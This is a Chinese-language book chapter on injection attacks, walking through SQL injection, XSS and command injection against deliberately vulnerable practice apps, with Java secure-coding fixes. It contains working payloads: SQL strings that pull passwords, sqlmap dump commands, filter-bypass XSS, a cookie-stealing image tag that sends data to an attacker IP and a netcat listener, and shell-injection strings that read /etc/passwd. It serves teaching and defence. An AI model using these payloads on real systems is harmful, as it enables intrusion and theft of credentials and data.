简介
注入攻击困扰着开发人员和安全专业人员。这些狡猾的漏洞可能破坏安全软件的基础,危及敏感数据、用户隐私和系统完整性。在本章中,我们将穿越注入漏洞的迷宫,探索SQL注入、跨站脚本(XSS)、命令注入、可扩展标记语言(XML)注入和XPath注入的隐秘角落。通过这一探索,我们将为你提供发现、缓解并最终击败这些威胁所需的知识和工具。本章是软件安全的实用指南,包含了利用SQLMap发现SQL注入漏洞以及揭示各种XSS变种的细节。随着我们深入实践示例和针对Java的安全编码建议,你将发现,保护应用程序免受注入攻击不仅仅是一个选择;它是一个必需,在数据泄露和网络攻击——意图窃取、破坏、暴露或篡改数据或应用程序的恶意活动——的阴影笼罩下的时代。
结构
本章将讨论注入攻击,包括:
- SQL注入
- 跨站脚本(XSS)
- 命令注入
- XML注入
- XPath注入
目标
在本章结束时,你将熟悉SQL注入,了解它是什么、如何发现它、风险以及如何通过简单的Java代码选择快速修复它。你将学习三种XSS类型以及如何通过Java库修复这些问题。我们将简要回顾命令、XML和XPath注入示例,包括Java特定的安全编码建议。
SQL注入
注入攻击是一类攻击,恶意用户通过欺骗应用程序将意外的命令包含在发送的数据显示中,以供解释。因此,SQL注入是指恶意用户欺骗SQL解释器执行与应用程序预期不同的查询。
SQL注入是已知的最古老的注入类型。对于大多数SQL查询,修复这个问题相对简单,无需更改查询。我们还将讨论SQL查询中一些不能使用用户输入的位置,在这些情况下,可能需要更改设计。
当发现SQL注入时,整个数据库,包括应用程序未使用的表,都可以被读取和修改。有时,你甚至可以通过SQL注入访问操作系统的shell。
接下来的子节将讲解如何测试简单的SQL注入,带你完成手动测试。接下来,我们将讨论如何手动从数据库中提取有趣的信息。然后,另一个子节将介绍如何使用工具通过SQL注入进行发现和数据提取。最后,我们将讨论避免SQL注入的安全编码建议。
常见的SQL注入技术
最常见的两种技术是基于联合的SQL注入和基于错误的SQL注入。在基于联合的技术中,SQL注入会创建一个联合语句,返回多个选择查询。例如,考虑以下SQL查询:select * from products where product_name = 'USER INPUT'。如果字符串USER INPUT是可注入的,你可以注入一个联合子句。这个SQL没有告诉我们products表返回了多少列。因此,基于联合的SQL注入测试的第一步是确定返回的列数。
这是通过注入一个包含null的联合查询来完成的。例如,第一次用户输入可能是'test' union null --。这将导致以下查询被执行:SQL select * from products where product_name = 'test' union null --。如果SQL注入导致错误,继续添加null,直到不再出现错误。第二步,尝试:test' union null, null --。然后,第三步,尝试:test' union null, null, null --。可能会返回多个列。当返回五列、六列或七列时,一般情况是可行的,但如果超过十列,成功的机会将减少。根据你想要的测试彻底程度,选择10到15个列数,并在没有成功时停止。
如果成功,你可以为每个null使用不同的选择查询来收集数据。记住,类型很重要,因此所选择的查询应与原始查询返回的类型匹配,无论是字符串、整数还是布尔值等。
基于错误的SQL注入技术是当你发现页面在给定特定条件时出现错误,而在其他情况下没有错误时使用的技术。考虑上述相同的SQL查询。为了尝试基于错误的技术,我们可以尝试找出两个情况,一个返回错误,另一个不返回错误。我们可以尝试以下两个输入:x'和'1'='2以及x'和'1'='1。这将导致以下SQL执行:
SQL select * from products where product_name = 'x' and '1'='2'和
SQL select * from products where product_name = 'x' and '1'='1'。
假设x是有效的product_name,第一个SQL查询会提供一个错误,第二个则不会。在这种情况下,我们可以进行猜测或使用暴力破解以及子字符串命令来提取信息。例如,假设用户名是root,我们可以使用以下输入:x' and user()='root,这将执行以下查询:
SQL select * from products where product_name = 'x' and user()='root'。
user()函数是MySQL及其各种克隆特有的。为了检查用户名的第一个字母是否为r,输入应该是:x' and substring(user(), 1, 1)='r。这将导致以下SQL执行:
SQL select * from products where product_name = 'x' and substring(user(), 1, 1)='r'。
SQL注入的简单手动测试
如果你已经对应用程序进行了映射,测试SQL注入的第一步是参考你的映射笔记,寻找看起来像是用于数据库输入的页面和字段。
在简单的情况下,当应用程序不尝试阻止SQL注入时,我们可以使用几种特殊字符来找到注入点。这些特殊字符包括:
- 单引号(')
- 分号(;)
在简单的情况下,我们通常会得到一个通用错误页面,可以告诉我们我们正在注入的查询的相关信息。
我们将使用habit helper CTF Web应用程序进行初步测试。
启动habit helper Web应用程序。Web和移动应用程序可以在GitHub上找到:github.com/securitymag…。如果你需要帮助来设置,请查看GitHub仓库中提供的帮助。
habit helper Web应用程序设置为一个CTF竞赛版本,该版本具有隐藏的旗标。在你测试时,旗标可能会显示在页面上或作为弹出窗口出现。就我们的目的而言,你可以忽略这些旗标。作为独立的练习,你可以尝试找到所有十个隐藏的旗标。
在进行渗透测试时,重要的是永远不要使用你用于真实帐户的任何真实凭据。选择那些唯一且在后续请求中容易识别的值。例如,你不希望用户名与密码相同或任何其他必填的注册字段。这是为了使你更容易识别可能受到攻击的字段。
Web应用程序的第一页提供了登录、注册、忘记密码或了解应用程序的选项。选择注册按钮,创建一个用户,然后使用创建的凭据登录。
从账户菜单中,向下滚动找到Forum按钮并点击View details:
然后,你将被要求阅读或写一篇帖子。点击Posts下的View details,如下面的图所示:
然后,将显示一份帖子列表。点击第一个帖子的标题“Welcome to Habit Helper”,如下面的图所示:
现在,你将进入帖子页面。在帖子下方是几个评论和一个“添加评论”表单。尝试添加一个带有单个括号‘的简单评论,如以下示例:
这将返回一个500错误,提供关于SQL的许多详细信息。以下是此错误消息的示例:
这个错误消息包含了许多有趣的信息。首先,我们可以看到失败的查询:INSERT INTO comments VALUES (?, ?, ‘is this an injection’’, :username)。
此外,还有一个名为comments的表,很可能包含四列。至少,插入命令中有四个字段。第三个字段是评论本身,我们作为用户可以控制它;第四个字段是用户名,初步猜测看起来像是一个绑定变量。作为用户,我们可以控制第三个字段。由于存在SQL注入,我们也可以控制第四个字段。用户名在评论中显示在屏幕上,如图4.5所示。
首先,让我们进行一个简单的SQL注入,假装成另一个用户。我们可以通过从添加到帖子中的评论中创建SQL语句,并在末尾添加注释符号来做到这一点。根据SQL服务器的不同,注释符号的值可能会有所不同。最常见的注释符号是两个减号:--(前面有或没有空格),/* */和#。因此,让我们冒充创始人Lizzie,并说该网站是欺诈行为。我们将尝试--风格的注释。所以,我们的评论将是:This is a fraud’,’Lizzie’)--。
请参见下图:
这应该创建并执行以下SQL查询:
INSERT INTO comments VALUES (?, ?, ‘This is a fraud’,’Lizzie’)--,: username)
当页面刷新时,我们可以看到我们的评论,如下图所示:
由于第四个字段可以从Web应用程序中查看,我们可以通过这种方式从Web应用程序查询有趣的信息。我们可以在评论后使用一个select SQL查询,插入我们希望看到的内容,比如密码字段。我们唯一知道的表名是comments,它根据存储内容命名。我们最直接的猜测是,这个表存储了用户名和密码。变量username被传递到我们在错误消息中看到的SQL中。很有可能它是列名。我们猜测列名是password。在评论之后,我们尝试添加以下第二个SQL查询:select password from users where username = ‘Lizzie’。因此,整个评论将是:
Great pages’; select password from users where username = ‘Lizzie’)--。
请参见下图:
执行的SQL是:
INSERT INTO comments VALUES (?, ?, ‘Great pages’, select password from users where username = ‘Lizzie’)--,: username)。
这将刷新页面,并看到以下新添加的评论:
这个评论告诉我们以下三点:
- Lizzie的密码是cookies。
- 我们正确猜测了用户表、用户名和密码字段。
- 密码以明文存储。
接下来的子节将讨论如何从SQL注入中手动提取有趣的信息。另一个使用基于布尔值的SQL注入技术的手动演练可以在第10章“通过SQL注入绕过认证”中找到。
使用SQL注入手动提取信息
从数据库中提取信息取决于所使用的数据库及其版本。当使用非标准数据库时,枚举可能会变得复杂。请参考以下表格,了解要使用的SQL以查找数据库的基本信息。此处提供的信息涉及三种最常见的数据库:MySQL、MS SQL和Oracle。如果你的应用程序使用的是其他数据库,你必须查找相应的关键字:
| 命令描述 | MySQL | MS SQL | Oracle |
|---|---|---|---|
| 运行数据库的用户 | User() | SESSION_USER() | CURRENT_USER() |
| 所有用户(或管理员) | SELECT user FROM MYSQL.USER; | SELECT user FROM MYSQL.USER WHERE Super_priv = 'Y'; | SELECT name FROM SYSLOGINS |
| 数据库列表 | SELECT schema_name FROM information_schema.schemata; | SELECT name FROM sysdatabases; | SELECT name FROM master..sysdatabases; |
| 当前数据库 | DATABASE() | SCHEMA() | DB_NAME() |
| 数据库版本 | @@VERSION | VERSION() | version FROM v$instance |
| 数据库表 | SELECT TABLE_SCHEMA, TABLE_NAME FROM INFORMATION_SCHEMA.TABLES; | SELECT table_name FROM INFORMATION_SCHEMA.TABLES | SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_type = 'BASE TABLE |
表 4.1:有趣的数据库查询
这些命令和关键字可以在select查询中使用,或作为子字符串返回数据。
在我们之前的SQL注入示例中,让我们尝试查找当前的数据库名和用户名。首先,尝试使用MySQL的DATABASE()函数。我们的评论将是:This is a SQL injection returning the current database as username ‘, SELECT DATABASE())--。
请参见下图:
添加了评论。页面刷新后,我们看到新的评论,如下图所示:
因此,当前的数据库名是TESTDB。现在,让我们尝试使用MySQL的User()函数查找用户名。在这种情况下,评论将是:This is a SQL injection where the database user is the username, User())--。
请参见下图:
页面刷新后,新的评论如下所示:
SQL注入工具
本节将介绍如何使用Burp Suite的Intruder与模糊测试列表来检测SQL注入,以及使用SQLMap来转储数据库。
Burp Suite模糊测试
除了手动测试SQL注入的可能性,使用模糊测试列表也是检查输入的另一种有效方法。Burp Suite目前内置了模糊测试列表。在当前示例中,第四个字段——用户名,是由表单中的一个隐藏字段设置的,并且可以通过HTTP请求中的用户进行操作。以下是我们之前SQL注入中的一个HTTP请求:
因此,要对这个请求进行模糊测试并检查用户名字段是否可注入,右键点击该请求,然后从子菜单中选择:Send to Intruder。请参见下图:
你也可以使用键盘快捷键 Ctrl+I。现在,转到Intruder窗口以配置攻击。在Positions标签页中,点击Clear按钮。请参见下图:
然后高亮显示用户名“pumpkin”,点击Add。同时,修改评论,使其不包含SQL注入。请参见下图:
接下来,点击Payloads标签。默认情况下,选择的有效载荷类型是simple list。在简单列表的有效载荷选项下,点击Add from the list:
找到名为Fuzzing - SQL injection的列表并选择它。请参见下图:
然后点击右上角的Start attack按钮。
攻击完成后,可以按大小或错误代码排序结果;有200个结果显示可能的SQL注入已添加评论,但没有进行注入。以下是几个因字段大小导致SQL错误的结果:
这个错误信息非常详细,给我们提供了关于数据库字段的信息,但并不能证明是注入攻击。这表明列名是AUTHOR,并且是大小为32的VARCHAR类型。
另一个错误是重复键错误,如下所示:
这也不是注入的证明。它表明Burp Suite Intruder最初运行得足够快,导致了并发问题,程序为两个项目分配了相同的键。并发问题属于业务逻辑的一部分,将在第8章《执行业务逻辑漏洞》中讨论。
使用SQLMAP转储数据库
SQLMAP是Kali Linux中自动包含的工具,也可以在任何Linux操作系统、Windows或Mac上下载和安装。SQLMAP可用于查找SQL注入,但它是一个非常引人注目的工具。用于定位未知的SQL注入时,它会触发网站可能设置的任何安全警报。在没有明确的渗透测试权限的情况下,绝不应在系统上使用SQLMAP。许多专业的渗透测试人员认为,SQLMAP更适合在通过其他方式定位SQL注入后提取数据。如果你有兴趣使用SQLMAP查找SQL注入,许多教程和练习可供参考。例如,请参见allabouttesting.org/quick-tutor…。
使用SQLMAP转储数据的第一步是让SQLMAP识别SQL注入。最好是将SQLMAP请求、SQL注入所在的参数和数据库类型提供给它,如果你已经找出数据库类型的话。使用SQLMAP的最简单方法——无论请求是GET、POST还是某些晦涩的请求,始终有效——是将请求保存为文本文件。通过Burp Suite复制请求的一种方式是高亮请求文本,然后右键点击。选择Copy to file,如下图所示:
这将提示你输入文件名。假设我们将其保存为SQLI.txt。然后,为了使用这个请求运行SQLMAP工具,我们将使用以下命令:
sqlmap -r SQLI.txt -p comment
这表示使用文本文件SQLI.txt中的请求。可注入的参数是comment。我们可以添加一个标志来设置数据库类型。如果我们认为这个数据库必须是MySQL,我们可以使用–dbms=MySQL标志来限制SQLMAP。
在SQLMAP确认SQL注入后,我们可以轻松地转储数据。让我们查看SQLMap的帮助文档,了解我们的可用选项:
要导出所有内容,请使用 –dump-all 标志。要导出选定的项,请使用 –dump 并选择其他感兴趣的信息,例如 -D databaseName、-T tableName、-C columnName。
SQL 注入安全编码实践
在大多数情况下,SQL 注入是可以轻松防止的。对于所有用户可控的输入,使用带有绑定变量的参数化查询是防止 SQL 注入的有效方法。这个变化不会影响业务逻辑,也没有理由不总是使用带有绑定变量的参数化查询。Java 中常用的几个库用于处理数据库和 SQL。以下是两个示例,展示了不同库如何将 SQL 注入转化为安全代码:
import java.sql.*;
// 假设变量 con 已经连接到数据库的连接信息。
Statement st = con.createStatement();
ResultSet rs = st.executeQuery("select securityQuestion from catlovers where uname = '" + user + "'");
在此示例中,使用基本的 Java SQL 库时,user 变量通过将变量连接到查询字符串,导致了 SQL 注入:
import java.sql.*;
// 假设变量 con 已经连接到数据库的连接信息。
String selectStatement = "select securityQuestion from catlovers where uname = ? ";
PreparedStatement prepStmt = con.prepareStatement(selectStatement);
prepStmt.setString(1, user);
ResultSet rs = prepStmt.executeQuery();
上述代码显示,变量不再连接到查询字符串中。相反,使用了一个问号。然后,我们使用 PreparedStatement 变量,而不是 Statement 变量来调用查询。绑定变量使用 setString 函数设置,该函数接受两个参数:一个整数和一个字符串。整数表示该值在语句中的位置,顺序从左到右。字符串保存要用于该变量的值。
以下是使用 Spring JDBC 库的第二个代码示例:
import org.springframework.jdbc.core.namedparam.NamedParameterJdbcTemplate;
String SQL = "SELECT * FROM Employee WHERE empid = " + empid.toString();
Map<String, Object> params = new HashMap<String, Object>();
Employee employee = (Employee) namedParameterJdbcTemplate.queryForObject(SQL, params, new EmployeeMapper());
在上面的示例中,empid 变量连接到 SQL 查询中,可能导致 SQL 注入。
接下来的示例显示了如何使用绑定变量来修复先前的 SQL 注入:
import org.springframework.jdbc.core.namedparam.NamedParameterJdbcTemplate;
String SQL = "SELECT * FROM Employee WHERE empid = :empid";
SqlParameterSource params = new MapSqlParameterSource("empid", Integer.valueOf(empid));
Employee employee = (Employee) namedParameterJdbcTemplate.queryForObject(SQL, params, new EmployeeMapper());
在上述代码中,SQL 查询不再连接变量。相反,查询中的绑定变量通过冒号和变量名表示。在此示例中,绑定变量由 :empid 表示。然后,绑定变量存储在 params 变量中,而在易受攻击的示例中该变量为空。这将变量名和值放入一个 Map 元素中,并将其传递给 namedParameterJdbcTemplate 来执行查询。
在这两种情况下,切换到参数化查询和绑定变量是可访问的,并且 100% 有效。当用户可控的输入是插入或比较到 SQL 中的值时,可以使用绑定变量。这是用户输入的最常见使用场景。让我们来看一个示例,其中用户可控的输入无法放入绑定变量中。
例如,两个不同用户的网站存储在不同的表中。它们使用相同的代码和数据库,并且还有其他用户表,分别叫做 table_accounts 和 table_admin。正在运行的 SQL 查询如下所示:
“Select password from table”+ sitename + “ where username=?”
Sitename 从 HTTP 请求中获取。这可能是一个 cookie 值、URL 部分、隐藏表单变量或头信息值。
恶意攻击者可以拦截并修改 HTTP 请求,因此这个查询易受到 SQL 注入攻击。表名无法使用绑定变量设置。
因此,在这种情况下,只有两个选项。第一个是使用白名单输入验证。白名单输入验证意味着你验证输入是否在列表中,如果不在,则抛出错误并不执行代码。第二个选项是重新设计或重构代码以避免这种情况。对于现有功能,白名单是一个相对快速的修复。
一个常见问题是:输入验证能否修复 SQL 注入?答案是:取决于输入。对于严格的输入,如邮政编码,通常会检查它是否恰好是五个数字,SQL 注入以及大多数注入攻击在适当实现输入验证后变得不可能。开放式文本字段通常需要允许 SQL 使用的特殊字符。让我们考虑一个密码字段。密码应该是一个看似随机的组合,由大小写字母、数字和特殊字符组成。当前标准建议允许最多 64 个字符,包括空格。因此,可能导致注入的密码,如 Pass’ OR ‘17’=’17,应该被允许。
同样,可能会有一个 RFC 合格的电子邮件地址,它也可能引起 SQL 注入。因此,输入验证是深度防御的一部分,但没有什么万能的方法可以完全解决 SQL 注入问题。
我们不能通过黑名单来阻止特殊字符的 SQL 注入。应用程序逻辑可能要求这些被黑名单的字符。各种编码和语言选项使得确保你已列出所有必要的黑名单项变得困难。新的攻击向量可能被发现,导致快速需要修补黑名单。
为了加强深度防御,限制数据库权限,以防 SQL 注入破坏操作系统。记住,使用带有绑定变量的参数化查询;当不可能时,执行白名单输入验证。其他输入验证将增强你的深度防御。
跨站脚本攻击(XSS)
XSS 是一种注入攻击,恶意用户将脚本(通常是 JavaScript)作为输入插入,浏览器执行该脚本。XSS 有三种类型:反射型、存储型和文档对象模型(DOM)型。反射型 XSS 是指恶意输入反射到 HTTP 响应中。一些浏览器具有默认会阻止反射型 XSS 的设置。存储型 XSS 是指恶意输入存储在数据库或文件中,并在任何访问存储数据的 HTTP 响应中返回。存储型 XSS 通常比反射型 XSS 影响更大,因为反射型通常只能影响一个用户,而存储型可能影响多个用户。
DOM 型 XSS 是指恶意输入没有包含在 HTTP 响应中。在这种情况下,注入会改变 DOM,导致客户端代码执行方式不同。例如,注入到客户端 JavaScript 使用的 URL 参数中。
通常,XSS 的示例展示了 JavaScript 警告弹窗作为概念验证(PoC)。这导致一些人认为 XSS 只是一个烦人的恶作剧,而不是一个真正的威胁。通过 XSS,攻击者可以窃取用户的会话、窃取敏感数据、重写网页、将用户重定向到钓鱼或恶意网站,并安装一个 XSS 代理,这样攻击者就可以看到并引导所有用户在易受攻击网站上的行为,并强制用户访问其他网站。
在进行 XSS 测试时,您应该查找您作为用户输入的内容被显示在屏幕上或在未显示的隐藏 HTML 中的地方。有许多可用于不同 XSS 注入的列表。一个很好的全面列表是 OWASP 跨站脚本过滤器规避备忘单,它提供了一个详尽的列表。您可以在以下地址找到此备忘单:OWASP XSS 过滤器规避备忘单。
最简单的 XSS 测试是使用 <script>alert(1)</script>。另一个快速测试是使用 <plaintext> HTML 标签。然而,在存储型 XSS 的情况下,这可能会破坏网页。
<marquee> 标签优于 <plaintext> 标签,因为它明显有效且不会破坏功能。测试 <plaintext> 和 <marquee> 标签是检查是否可以使用小于和大于符号的两种方式,尽管它们对于 XSS 并非必要。以下小节将使用两个手动测试示例来展示存储型 XSS,然后我们将通过 DOM 跨站脚本攻击示例。接下来的部分将展示如何在会话劫持期间窃取 cookies。最后,本节将提供关于跨站脚本攻击的安全编码指南。在第六章的 CORs 利用部分中有两个 XSS 示例,一个是在“客户端代码”部分绕过客户端控制,另一个是在“客户端存储”部分窃取 localStorage 和 sessionStorage。
两个存储型跨站脚本攻击的操作示范
以下示例将使用三个 Amazing Myths 应用程序。Amazing Myths 应用程序是同一个应用程序的三个版本,具有不同的安全功能。amazing-myths-3 示例最简单,因此我们将从这里开始。
如果您仍需要设置示例应用程序,请参阅第 2 章“示例应用程序设置”以获得帮助。如果您尚未在主页注册测试用户,请现在注册,并使用新凭据登录。这将带您进入 myAccount 页面。在选项列表中,选择“阅读帖子”,点击下方的“查看详细信息”,如下图所示:
从帖子列表中选择下方显示的第一篇帖子进行测试:
在帖子和现有评论下方有一个添加评论的区域。我们先尝试使用 <marquee> 标签。我们的评论将是 <marquee>Testing testing 1. 2. 3</marquee>,显示如下:
之后,页面刷新,提示我们评论已添加。向下滚动,我们看到我们的评论在屏幕上滚动——小于号和大于号被接受了。请参阅下图:
现在,让我们尝试基本的 JavaScript <script>alert(1)</script>。输入评论后,我们看到显示了一个错误消息,并且“添加评论”按钮被禁用。请参阅下图:
由于我们没有提交任何内容,这很可能是通过 JavaScript 完成的,所以让我们查看 HTML 代码,看看发生了什么。HTML 显示,对于每个输入的字符,都调用了一个名为 testText 的 JavaScript 函数:
检查该函数的代码时,发现它位于名为 hello.js 的文件中。testText 函数如下所示:
function testText(text, documentPlace, submitButton)
{
var intScore = 1;
var strVerdict = "";
var strFont = "text-success";
// 检查常见的 JavaScript 开始方式
if (text.match(/(<script|<SCRIPT|<img src="javascript:|<img src=javascript:)/)){
intScore=0;
}
if(intScore < 1)
{
strVerdict = "我们喜欢你用标签让帖子和评论看起来更好,但出于安全原因不能允许使用 JavaScript。";
strFont="text-danger";
submitButton.setAttribute('disabled', true);
}
else {
submitButton.removeAttribute('disabled');
if (text.length >23)
{
strVerdict = "太棒了,宝贝!太棒的想法!";
strFont="text-success";
}
}
document.getElementById(documentPlace).innerHTML = "<div class="text-center " + strFont + "">" + strVerdict + "</div>"
}
这个函数只会检查全小写或全大写的 <script> 标签。由于 HTML 是不区分大小写的,我们可以通过使用混合大小写的 <ScRipT> 标签来绕过这个客户端功能,如下所示:
提交此评论后,页面将刷新,我们可以在页面加载之前看到我们的 XSS 演示效果。请参阅下图:
现在,让我们继续使用 amazing-myths-1 应用程序。和第一个示例一样,如果您还没有注册新账户并登录,请先注册并登录。从 myAccount 页面进入帖子,并选择第一篇帖子。我们将尝试在此示例中添加评论。让我们使用上一个来自 amazing-myths-3 的有效载荷。如果我们将其添加到文本框中,JavaScript 不会被阻止,如下图所示:
那么,让我们提交评论,看看会发生什么。页面刷新了,但 XSS 并没有执行。这里有一个服务器端的控制机制。最终显示的评论如下所示:
看起来第一个小于号和大于号被编码了,但第二个没有。让我们检查一下 HTML,看看是否正确:
这段 HTML 显示只有第一个小于号被编码了。这为继续进行攻击留下了很多选项。我们可以尝试不同的标签,看看它们是否被编码,或者尝试使用多个小于号,看看第二个 <script> 标签是否能起作用。我们的下一个尝试是使用两个 <script> 标签,如下所示:
添加评论后,页面刷新,我们看到它没有生效:
因此,在我们的第三次尝试中,我们将尝试使用不同的标签。使用之前的 <marquee> 标签有效载荷,我们看到它没有被编码。请参见以下插入的评论:
在下图中,<marquee> 标签在屏幕上滚动,表明它没有被编码:
现在,是时候使用 JavaScript 事件处理程序了。常见的选择是 onerror 或 onmouseover 事件处理程序。它们用于触发 JavaScript 有效载荷。我们将使用 onmouseover 标签来随意触发 JavaScript。我们的有效载荷将是 <img src=x onmouseover="alert(1)" />,如下图所示:
我们在点击“添加评论”并刷新页面后看到了新的评论。如下图所示,当将鼠标移动到损坏的图片上时,我们的警告弹窗弹出:
DOM 跨站脚本攻击操作示范
本节将查看在 amazing-myths-3 中发现的 DOM 跨站脚本攻击示例。如果需要,请注册一个新账户并登录。从 myAccount 页面进入“投票选出你最喜欢的神话”菜单选项。
请继续投票。我们只是观察功能,因此您选择什么输入并不重要。
投票后,页面会刷新,并显示以下消息:
查看链接显示其值为:http://127.0.0.1:8081/amazing-myths-3/vote?voteFor=Theseaus%20and%20the%20Minotaur。进一步调查发现以下JavaScript代码:
function Change() {
document.getElementById("voteFor").style.display = "block";
document.getElementById("change").style.display = "none";
}
function setVote() {
var url = new URL(window.location.href);
var value= "";
if (url.searchParams.get('voteFor')) {
var token = url.searchParams.get("voteFor");
sessionStorage.setItem("voteFor", token);
}
if (sessionStorage.getItem("voteFor")) {
document.getElementById("voteFor").value = sessionStorage.getItem("voteFor");
document.getElementById("voteFor").style.display = "none";
document.getElementById("voteTag").innerHTML = "You are supporting " + sessionStorage.getItem("voteFor");
}
}
window.onload=setVote();
这表明,voteFor 的 GET 参数被加载到 sessionStorage 中,然后存储在 innerHTML 属性里。innerHTML 属性是获取或设置元素的 HTML 内容的一种方式。这意味着 DOM 会执行 URL 参数,而不作为 HTTP 响应的一部分。因此,voteFor 参数是 DOM XSS 的注入点。这个链接是为了与他人共享的,因此它是 XSS 攻击的完美位置。
如果你尝试点击链接以查看 DOM 中显示的消息,而你已经登录当前用户,你会看到一条消息,表示你已经投过票。所以,保存该链接并注册第二个用户。登录第二个用户后,点击链接,你将看到以下内容:
现在,我们准备好为 XSS 构造有效载荷。由于 innerHTML 元素不接受 <script> 标签,因此我们必须使用 JavaScript 事件处理程序来执行这个 XSS。让我们尝试使用 onerror 处理程序,载荷为 Theseaus and the Minotaur<img src=x; onerror="alert(1)"/>。在将 GET 参数更改为载荷后,我们看到了 XSS 执行的结果。
通过跨站脚本(XSS)窃取 Cookie
到目前为止,我们已经看到三种 XSS 示例,都是弹出文本框。这适用于演示概念,但有时我们希望证明漏洞的可利用性。因此,XSS 的最常见用例之一是从网站窃取 Cookie。
XSS 只会窃取没有设置 HTMLOnly 标志为 true 的 Cookie。
通过简单地更改最后的有效载荷,将显示可访问的 Cookie,而不是数字 1,我们可以轻松展示我们可以窃取哪些 Cookie。这可以通过在 alert 中使用 document.cookie 值来实现。document.cookie 是一个 JavaScript 关键字,评估时会返回所有没有设置 HTMLOnly 标志的 Cookie。
因此,这次我们将使用以下有效载荷:Theseaus and the Minotaur<img src=x; onerror="alert(document.cookie)”/>。当我们使用这个有效载荷时,我们得到以下结果:
窃取 Cookie 的下一步是通过这个链接设置一个监听器来接收数据。我们将使用 Kali 虚拟机来代表攻击者。因此,首先运行 ifconfig 检查虚拟机的 IP 地址,然后使用命令 nc -lvp 9393 在 9393 端口(或者您选择的其他端口)上设置 netcat 监听器。在这里,-l 标志表示监听,-v 表示详细模式,-p 用于指定端口,使得监听器会使用提供的端口作为参数:
利用这些信息,我们将修改有效载荷,使得 onerror 事件处理程序将图像标签的 src 值更改为指向我们的监听器,并附加 Cookie。这将创建以下有效载荷:Theseaus and the Minotaur<img src=x; onerror=" this.src=’http://192.168.196.128/?cookie=’%2bdocument.cookie"/>。其中,%2b 是 URL 编码的 +。如果不进行编码,浏览器会将其解释为空格,导致有效载荷无法正常工作。
如果我们执行此操作,我们会看到使用检查工具更新了图像的 src 值。
如果我们检查我们的监听器,它会接收到 Cookie。
由于 Netcat 是最容易设置的监听器,你也可以使用 Python 的 SimpleHttpServer,甚至使用 Apache 或 Tomcat 的访问日志来接收 Cookie。
防止跨站脚本攻击的安全代码指南
通常,XSS 应通过输出编码来修复。使用允许列表进行所有输入验证也是可接受的做法,但这有许多注意事项。在以下几种情况下,使用不受信任的数据是危险的,包括:
- 在脚本中
<script> untrusted </script> - 在 HTML 注释中
<!-- untrusted --> - 在属性名称中
<div untrusted=test /> - 在标签名称中
<untrusted href=“/”/> - 直接在 CSS 中
<style> untrusted </style>
使用知名的库来执行输出编码。OWASP Encoder 库(owasp.org/www-project…)是一个小巧、轻量级的 Java 编码库,遵循所有最佳实践并且仍然得到支持。OWASP ESAPI 项目也提供类似的编码功能,但不再支持。因此,推荐使用这个库。对于 JSON,应使用单独的库,OWASP JSON Sanitizer 库是一个易于使用的选择:owasp.org/json-saniti…。
JSP 使用
这个示例是针对 JSP 文件的,.tag 文件的用法类似。
要在 JSP 中进行编码,首先在 pom 文件中包含 JSP 库:
<dependency>
<groupId>org.owasp.encoder</groupId>
<artifactId>encoder-jsp</artifactId>
<version>1.2.3</version>
</dependency>
添加标签库:
然后,在 JSP 文件中添加对标签库的引用:
<%@taglib prefix="e" uri="https://www.owasp.org/index.php/OWASP_Java_Encoder_Project" %>
编码:
找到需要编码的数据并调用正确的函数。请参见下面的图表,查看每个上下文对应的函数列表。在 HTML 中,使用 ${e:forHtml(item.data)} 或 <e:forHtml value="${item.data}" />。
Java 使用
OWASP Encoder 库也可以很容易地在 Java 中使用。按照以下简单步骤操作:
- POM 文件
首先,将编码器依赖项添加到 POM 文件:
<dependency>
<groupId>org.owasp.encoder</groupId>
<artifactId>encoder</artifactId>
<version>1.2.3</version>
</dependency>
2. 添加导入
在 Java 文件中,添加导入语句:
import org.owasp.encoder.Encode;
3. 编码
选择要编码的数据并调用正确的函数。请参见最后一部分的上下文和处理过程的完整列表:
Encode.forHtml(dataToEncode);
可用的上下文和函数
- HTML 实体编码 应用于 HTML 标签内,如
<body></body>或<div></div>。使用函数forHtmlContent(UNTRUSTED),其中UNTRUSTED代表传递给函数的不受信任的用户输入。 - HTML 属性编码 是当数据为 HTML 属性时,即在标签内,如链接中的 URL
<a href="DATA"></a>。此时,使用函数forHtmlAttribute(UNTRUSTED)。 - JavaScript 编码 用于数据位于
<script>标签中的情况。函数forJavaScript(UNTRUSTED)可以在任何 JavaScript 上下文中使用,但它可能会编码不必要的内容。因此,在 JavaScript 块(如<script></script>标签)中,使用forJavaScriptBlock(UNTRUSTED)会更高效。当 JavaScript 位于属性中(如onmouseover)时,forJavaScriptAttribute(UNTRUSTED)是最佳选择。 - CSS 编码 用于数据作为 CSS 部分的情况。对于除 URL 以外的所有 CSS 情况,使用
forCssString(UNTRUSTED)。如果 CSS 中是 URL,则使用forCssUrl(UNTRUSTED)。 - URL 编码 用于 URL 参数。无论是 GET 参数(如
value=)还是 REST 参数(路径的一部分),都使用函数forUriComponent(UNTRUSTED)。 - XML 编码 用于 XML 文档。根据上下文,使用函数
forXML(UNTRUSTED)或forXMLContent(UNTRUSTED)。
命令注入
命令注入是指恶意用户控制输入字段的值,从而执行意外的操作系统命令。尽管这种攻击不像其他类型的注入那么常见,但当发生时,它可能会危及服务器及其存储的所有内容,并且能够跳转到其他机器。
要测试命令注入,可以寻找看似运行系统命令的输入,例如更改权限、ping 操作、目录列出或读取文件内容等。查看这些请求,找出可能被用来执行命令的用户可控字段。这些字段可以是 GET 参数、POST 参数、URL 的一部分、Cookie 或者头部。假设我们已经识别出一个输入,它会运行一个 ping 命令到服务器,并且我们能够控制服务器的名称。那么我们的输入可以是一个 URL、IP 地址或本地服务器名称。在我们的示例中,我们输入 google.com。这将导致服务器运行命令:
ping google.com
接着,为了测试注入,我们在输入中添加一个特殊字符和我们希望运行的另一个命令。我们将尝试运行以下命令:
cat /etc/passwd
以下是常见特殊字符的列表以及它们在命令注入中的常见用法:
| 特殊字符 | 注入输入 | 发送到服务器的命令 |
|---|---|---|
; | google.com;cat /etc/passwd | ping google.com;cat /etc/passwd |
| ` | ` | google.com |
& | google.com&cat /etc/passwd | ping google.com&cat /etc/passwd |
| ` | ` | |
&& | google.com&&cat /etc/passwd | ping google.com&&cat /etc/passwd |
表 4.2:命令注入选项
在使用 || 连接命令的情况下,只有在 ping 失败时,cat 命令才会执行;而在 && 的情况下,只有当 ping 成功时,cat 命令才会执行。
在 Java 中,命令注入几乎总是来自于 Runtime.exec() 功能。使用 grep 或其他搜索工具查找代码中这类实例,可以帮助你更高效地进行灰盒测试。
防止命令注入:
